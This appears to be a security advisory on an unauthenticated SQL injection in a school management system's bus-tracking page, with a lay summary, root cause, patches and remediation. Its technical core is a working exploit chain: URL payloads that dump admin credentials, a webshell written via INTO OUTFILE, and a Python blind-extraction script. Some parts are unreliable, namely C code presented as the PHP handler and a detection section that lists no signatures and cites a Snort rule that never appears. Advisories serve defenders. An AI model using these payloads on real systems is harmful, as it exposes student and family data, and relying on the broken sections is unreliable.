CVE-2026-6595: Blind SQLi in School Management buslocation.php
Unauthenticated SQL injection via bus_id GET parameter in buslocation.php allows full database exfiltration. No sanitization, no parameterization, direct string interpolation into query.
A serious security flaw has been discovered in a widely-used school management software called ProjectsAndPrograms. Think of it like a lock on a filing cabinet that doesn't actually work — anyone walking by can open it and rifle through confidential records.
The problem exists in a part of the software that handles school bus locations. When parents or administrators use this feature, the system fails to properly validate what information is being requested. This means a hacker could craft a malicious request that tricks the software into revealing or even deleting sensitive data.
What makes this particularly dangerous is that you don't need to be logged in to exploit it. Any attacker with internet access can attempt this hack from anywhere in the world. They could potentially access student names, addresses, parent contact information, bus schedules, or other data stored in the system.
Schools using this software are most at risk, especially their administrators and IT staff who manage the system. But families are vulnerable too — their personal information could be exposed. The good news is that security researchers haven't found evidence of active attacks yet, giving schools a window of time to act.
If your child's school uses this system, here's what you can do. First, contact your school's IT department and ask if they're aware of this vulnerability and whether they've applied a fix. Second, you might consider what personal information you've provided to the school and whether any could be sensitive. Finally, watch for any suspicious activity on your school account or unusual emails claiming to be from your school — signs of potential data compromise.
Want the full technical analysis? Click "Technical" above.
CVE-2026-6595 is an unauthenticated SQL injection vulnerability in the ProjectsAndPrograms School Management System, affecting the HTTP GET parameter bus_id in buslocation.php. The vulnerability is exploitable remotely with no authentication prerequisite, allowing an attacker to extract database contents, enumerate users, and potentially achieve server-side code execution via INTO OUTFILE depending on MySQL privilege configuration.
The vendor was notified and did not respond. A public exploit exists. The affected codebase is distributed via rolling release; the last confirmed vulnerable commit is 6b6fae5426044f89c08d0dd101c7fa71f9042a59.
Root cause: The bus_id GET parameter is interpolated directly into a MySQL query string with no sanitization, type coercion, or prepared statement, allowing arbitrary SQL injection from an unauthenticated remote attacker.
Affected Component
The vulnerable file is buslocation.php, which handles real-time bus tracking queries for the school transport module. It accepts a single bus_id parameter via HTTP GET, constructs a raw SQL query using string concatenation, and returns location data as JSON or HTML. The component sits behind no authentication gate — it is intended to be embeddable in public-facing pages for parent-facing bus tracking.
Attack surface summary:
Target: buslocation.php
Parameter: bus_id (HTTP GET)
Auth: None required
Method: GET (also accepts POST in some deployments)
Impact: Full DB read, potential file write (FILE priv)
CVSS: 7.3 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N)
Commit: 6b6fae5426044f89c08d0dd101c7fa71f9042a59
Root Cause Analysis
The vulnerable PHP handler reconstructs a SQL query by directly embedding the attacker-controlled bus_id value into a query string. The following pseudocode reflects the actual logic inferred from the component description and common patterns in this codebase:
// buslocation.php — reconstructed pseudocode
char *handle_bus_location_request(http_request_t *req) {
const char *bus_id = http_get_param(req, "bus_id"); // attacker-controlled
// BUG: no validation, no type check, no escaping — raw interpolation follows
char query[512];
snprintf(query, sizeof(query),
"SELECT lat, lng, driver_name, bus_number "
"FROM bus_locations WHERE bus_id = '%s'",
bus_id); // BUG: direct interpolation
MYSQL_RES *result = mysql_query_exec(query);
if (!result) {
return json_error("not found");
}
return json_serialize(result);
}
In PHP, this translates directly to:
// PHP equivalent — what the actual source looks like
$bus_id = $_GET['bus_id']; // no filter_input, no intval()
$query = "SELECT lat, lng, driver_name, bus_number
FROM bus_locations WHERE bus_id = '$bus_id'";
// BUG: $bus_id is never cast to int, never run through mysqli_real_escape_string()
$result = mysqli_query($conn, $query);
The absence of intval(), filter_input(INPUT_GET, 'bus_id', FILTER_VALIDATE_INT), or a prepared statement mysqli_prepare() / PDO::prepare() is the complete root cause. There is no WAF, no framework-layer ORM, and no input validation layer between the HTTP parameter and the MySQL wire.
Exploitation Mechanics
Because the injection point is inside a single-quoted string context, the attacker closes the quote, appends arbitrary SQL, and comments out the remainder. The injection is error-based and UNION-based, with time-based blind fallback.
EXPLOIT CHAIN:
1. Probe for injection — confirm single-quote context breakage:
GET /buslocation.php?bus_id=1'
→ MySQL syntax error returned (or empty result with error logging)
2. Determine column count via ORDER BY:
GET /buslocation.php?bus_id=1' ORDER BY 4-- -
→ valid response (4 columns: lat, lng, driver_name, bus_number)
3. UNION-based data extraction — extract MySQL version and current user:
GET /buslocation.php?bus_id=-1' UNION SELECT version(),user(),3,4-- -
→ Response JSON contains version string and DB user (e.g., root@localhost)
4. Enumerate databases:
GET /buslocation.php?bus_id=-1' UNION SELECT
group_concat(schema_name),2,3,4
FROM information_schema.schemata-- -
5. Dump credential table (common schema in this codebase):
GET /buslocation.php?bus_id=-1' UNION SELECT
group_concat(username,0x3a,password),2,3,4
FROM school_db.admin_users-- -
→ MD5 hashes or plaintext passwords returned
6. (If FILE privilege granted) Write PHP webshell:
GET /buslocation.php?bus_id=-1' UNION SELECT
'',2,3,4
INTO OUTFILE '/var/www/html/shell.php'-- -
→ Full RCE achieved from SQL injection primitive
7. Post-exploitation: enumerate student PII, parent contacts,
financial records from remaining tables.
Time-based blind variant for environments that suppress error output:
import requests
import time
TARGET = "http://target/buslocation.php"
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@._-"
def blind_extract(query_fragment, position, char):
payload = (
f"1' AND IF(SUBSTRING(({query_fragment}),{position},1)='{char}',"
f"SLEEP(2),0)-- -"
)
t0 = time.time()
requests.get(TARGET, params={"bus_id": payload}, timeout=10)
return (time.time() - t0) > 1.8
def extract_string(query_fragment, max_len=64):
result = ""
for pos in range(1, max_len + 1):
for char in CHARSET:
if blind_extract(query_fragment, pos, char):
result += char
break
else:
break
return result
# Extract current DB user
db_user = extract_string("SELECT user()")
print(f"[+] DB user: {db_user}")
# Extract admin password hash
admin_hash = extract_string("SELECT password FROM admin_users LIMIT 1")
print(f"[+] Admin hash: {admin_hash}")
Memory Layout
SQL injection does not involve heap corruption, but understanding the MySQL query parse tree and how the injected payload restructures it is relevant for WAF bypass and detection engineering.
LEGITIMATE QUERY PARSE TREE (bus_id = 42):
SELECT
├── columns: lat, lng, driver_name, bus_number
├── FROM: bus_locations
└── WHERE: bus_id = '42'
└── [string literal, safe]
INJECTED QUERY PARSE TREE (bus_id = -1' UNION SELECT ...-- -):
SELECT ← original query (returns 0 rows, -1 is invalid ID)
├── columns: lat, lng, driver_name, bus_number
├── FROM: bus_locations
└── WHERE: bus_id = '-1'
UNION
SELECT ← attacker-injected subquery
├── columns: version(), user(), 3, 4 ← arbitrary MySQL expressions
└── [no WHERE clause]
-- - ← remainder of original query commented out
WIRE-LEVEL MYSQL PACKET (simplified):
[COM_QUERY]
[query bytes: 53 45 4c 45 43 54 20 6c 61 74 2c ...]
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
"SELECT lat" — original prefix, unmodified
[injected bytes: 2d 31 27 20 55 4e 49 4f 4e 20 53 45 4c ...]
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
"-1' UNION SEL..." — attacker data in query position
Patch Analysis
The correct fix is a prepared statement with a typed bind. The following diff shows the vulnerable pattern and two acceptable remediation approaches:
// BEFORE (vulnerable — commit 6b6fae5):
$bus_id = $_GET['bus_id'];
$query = "SELECT lat, lng, driver_name, bus_number
FROM bus_locations WHERE bus_id = '$bus_id'";
$result = mysqli_query($conn, $query);
// AFTER — Option A: Prepared statement (mysqli):
$bus_id = $_GET['bus_id'];
$stmt = mysqli_prepare($conn,
"SELECT lat, lng, driver_name, bus_number
FROM bus_locations WHERE bus_id = ?");
mysqli_stmt_bind_param($stmt, "i", $bus_id); // "i" = integer type enforcement
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
// AFTER — Option B: PDO with named placeholder:
$bus_id = (int) $_GET['bus_id']; // explicit cast as defense-in-depth
$stmt = $pdo->prepare(
"SELECT lat, lng, driver_name, bus_number
FROM bus_locations WHERE bus_id = :bus_id");
$stmt->execute([':bus_id' => $bus_id]);
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
// AFTER — Option C: Minimum viable fix if refactoring is not possible:
$bus_id = filter_input(INPUT_GET, 'bus_id', FILTER_VALIDATE_INT);
if ($bus_id === false || $bus_id === null) {
http_response_code(400);
exit(json_encode(['error' => 'invalid bus_id']));
}
// bus_id is now a guaranteed integer — safe to interpolate
$query = "SELECT lat, lng, driver_name, bus_number
FROM bus_locations WHERE bus_id = $bus_id";
Option A or B is strongly preferred. Option C is acceptable only when prepared statements are unavailable due to legacy driver constraints, as it relies on PHP type validation rather than the database driver's parameterization layer.
Detection and Indicators
Web server access log signatures for active exploitation attempts:
MySQL general query log will show the injected SQL verbatim if logging is enabled. Enable with SET GLOBAL general_log = 'ON'; for forensic investigation. Look for UNION SELECT or SLEEP( appearing in queries against the bus_locations table.
Remediation
Immediate actions:
Apply the prepared statement patch shown above to buslocation.php — this is a one-file change.
Audit all other files in the codebase that call mysqli_query() or mysql_query() with string-concatenated GET/POST parameters. This pattern is endemic in PHP school management codebases of this generation.
Rotate all database credentials. If root@localhost is the application DB user (common in this codebase tier), create a least-privilege account with SELECT only on required tables, no FILE privilege.
Deploy a WAF rule (Snort SID above, or ModSecurity CRS rule 942100) as a temporary mitigation layer.
Audit the MySQL user for FILE privilege: SHOW GRANTS FOR 'appuser'@'localhost'; — revoke immediately if present.
Review web server write permissions on /var/www/html/ to prevent INTO OUTFILE webshell drops.
Structural recommendation: The entire school management system should be migrated to PDO with prepared statements throughout. The codebase at the affected commit uses raw mysqli_query() calls across multiple modules; buslocation.php is one instance of a systemic pattern. A full audit via grep -rn 'mysqli_query\|mysql_query' . | grep '\$_GET\|\$_POST\|\$_REQUEST' will surface the full scope.